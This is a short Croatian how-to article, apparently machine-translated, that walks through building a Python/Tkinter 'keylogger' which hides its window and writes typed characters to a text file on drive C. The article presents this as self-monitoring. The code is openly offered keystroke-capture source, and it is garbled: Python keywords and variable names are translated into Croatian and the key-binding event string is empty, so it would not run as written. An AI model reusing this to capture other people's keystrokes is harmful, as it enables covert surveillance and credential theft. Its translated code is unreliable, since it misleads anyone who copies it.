Kako napraviti Keylogger koristeći Python

Žena za računalom gleda preko ramena

Snimite pritiske tipki i spremite ih u datoteku.

Zasluga slike: Jupiterimages/Photos.com/Getty Images

Možete stvoriti program keylogger koristeći Python za hvatanje pritisaka na tipke upisane putem tipkovnice računala. Pritisci na tipke spremaju se u tekstualnu datoteku i ona bilježi sav unos. Možete koristiti key logger za praćenje aktivnosti na vašem računalu.

Korak 1

Pokrenite IDLE, kliknite izbornik "Datoteka" i odaberite "Novi prozor" za pokretanje novog prozora. Pritisnite Ctrl i S za pokretanje prozora "Spremi kao". Koristite "getKeyLogger" kao naziv datoteke i kliknite "Spremi".

Video dana

Korak 2

Dodajte sljedeći redak koda za uvoz imenskog prostora "Tkinter" i definirajte put datoteke koju želite koristiti za prijavu:

import Tkinter kao tk myFile = open("C:/temp/keyFile.txt", "w")

Korak 3

Kopirajte i zalijepite sljedeći kod za spremanje svakog pritiska na tipku u datoteku:

def keypress (događaj): if event.keysym == 'Escape': main.destroy() keyPressed = event.char myFile.write (keyPressed)

4. korak

Dodajte sljedeći kod kako biste korisniku dali do znanja da može početi tipkati i da može pritisnuti Esc za završetak programa:

glavni = tk. Tk() print "Pritisnite bilo koju tipku (tipka Escape za izlaz):" main.bind_all('', pritisnite tipku) main.withdraw() main.mainloop() myFile.close()

Korak 5

Kliknite gumb za početak "Windows" i upišite "cmd" u okvir "pretraži programe i datoteke". Pritisnite Enter da otvorite naredbeni redak. Idite na "C:\Python" i upišite "python getKeyLogger." Pritisnite Enter za pokretanje programa. Idite na "C:/temp/" i dvaput kliknite "keyFile.txt" za pregled podataka o pritisku tipke.